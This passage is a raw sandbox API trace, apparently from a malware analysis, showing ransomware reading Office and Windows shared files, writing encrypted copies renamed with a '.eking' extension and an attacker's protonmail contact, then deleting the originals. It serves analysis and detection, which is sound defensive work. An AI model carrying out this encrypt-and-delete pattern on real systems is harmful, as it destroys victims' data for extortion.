lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0258.480] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0258.480] ReadFile (in: hFile=0x1b4, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0258.492] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0258.492] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0258.514] SetEndOfFile (hFile=0x1b4) returned 1 [0258.514] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0258.514] WriteFile (in: hFile=0x1b4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0258.516] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0258.517] WriteFile (in: hFile=0x1b4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0258.519] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0258.519] WriteFile (in: hFile=0x1b4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0258.519] FlushFileBuffers (hFile=0x1b4) returned 1 [0259.283] CloseHandle (hObject=0x1b4) returned 1 [0259.283] SetEvent (hEvent=0xe0) returned 1 [0259.285] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0259.285] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=8723) returned 1 [0259.285] CloseHandle (hObject=0x1b4) returned 1 [0259.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0259.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0259.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0259.286] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0259.286] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0259.286] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0259.286] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0259.293] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2213, lpOverlapped=0x0) returned 1 [0259.296] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2220, lpOverlapped=0x0) returned 1 [0259.297] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0259.298] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0259.298] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0259.298] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2213, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2213, lpOverlapped=0x0) returned 1 [0259.298] FlushFileBuffers (hFile=0x1b4) returned 1 [0259.500] FlushFileBuffers (hFile=0x100) returned 1 [0260.000] CloseHandle (hObject=0x1b4) returned 1 [0260.001] CloseHandle (hObject=0x100) returned 1 [0260.001] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0260.002] SetEvent (hEvent=0xe0) returned 1 [0260.005] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0260.005] SetEvent (hEvent=0xe0) returned 1 [0260.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0260.007] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=99136) returned 1 [0260.007] CloseHandle (hObject=0x100) returned 1 [0260.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0260.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0260.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0260.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0260.007] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0260.007] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0260.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0260.008] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x18340, lpOverlapped=0x0) returned 1 [0260.015] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x18350, lpOverlapped=0x0) returned 1 [0260.018] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0260.019] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0260.019] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0260.019] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x18340, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x18340, lpOverlapped=0x0) returned 1 [0260.019] FlushFileBuffers (hFile=0x100) returned 1 [0260.794] FlushFileBuffers (hFile=0x1b4) returned 1 [0260.833] CloseHandle (hObject=0x100) returned 1 [0260.834] CloseHandle (hObject=0x1b4) returned 1 [0260.834] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0260.836] SetEvent (hEvent=0xe0) returned 1 [0260.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0260.838] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1369952) returned 1 [0260.838] CloseHandle (hObject=0x1b4) returned 1 [0260.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0260.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0260.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0260.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0260.838] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0260.839] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0260.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0260.839] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0261.093] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0261.129] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x3e660, lpOverlapped=0x0) returned 1 [0261.132] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3e670, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x3e670, lpOverlapped=0x0) returned 1 [0261.139] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0261.139] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0261.139] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0261.140] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0261.147] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3e65e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x3e65e, lpOverlapped=0x0) returned 1 [0261.148] FlushFileBuffers (hFile=0x1b4) returned 1 [0261.770] FlushFileBuffers (hFile=0x100) returned 1 [0262.264] CloseHandle (hObject=0x1b4) returned 1 [0262.291] CloseHandle (hObject=0x100) returned 1 [0262.292] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0262.309] SetEvent (hEvent=0xe0) returned 1 [0262.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0262.310] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=629664) returned 1 [0262.310] CloseHandle (hObject=0x100) returned 1 [0262.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0262.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0262.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0262.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0262.311] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.311] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0262.312] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x99ba0, lpOverlapped=0x0) returned 1 [0262.326] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x99bb0, lpOverlapped=0x0) returned 1 [0262.352] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0262.352] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.352] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.352] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x99ba0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x99ba0, lpOverlapped=0x0) returned 1 [0262.355] FlushFileBuffers (hFile=0x100) returned 1 [0262.461] FlushFileBuffers (hFile=0x1b4) returned 1 [0262.479] CloseHandle (hObject=0x100) returned 1 [0262.480] CloseHandle (hObject=0x1b4) returned 1 [0262.481] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0262.492] SetEvent (hEvent=0xe0) returned 1 [0262.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0262.495] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2557) returned 1 [0262.495] CloseHandle (hObject=0x1b4) returned 1 [0262.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0262.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0262.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0262.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0262.496] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.496] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0262.497] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x9fd, lpOverlapped=0x0) returned 1 [0262.499] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa00, lpOverlapped=0x0) returned 1 [0262.500] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0262.501] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.501] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.501] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x9fd, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x9fd, lpOverlapped=0x0) returned 1 [0262.502] FlushFileBuffers (hFile=0x1b4) returned 1 [0262.517] FlushFileBuffers (hFile=0x100) returned 1 [0262.519] CloseHandle (hObject=0x1b4) returned 1 [0262.520] CloseHandle (hObject=0x100) returned 1 [0262.520] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0262.522] SetEvent (hEvent=0xe0) returned 1 [0262.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0262.523] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=543304) returned 1 [0262.523] CloseHandle (hObject=0x100) returned 1 [0262.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0262.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0262.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0262.523] CreateFileW (lpFileName="\\\\?\\C:\\Program 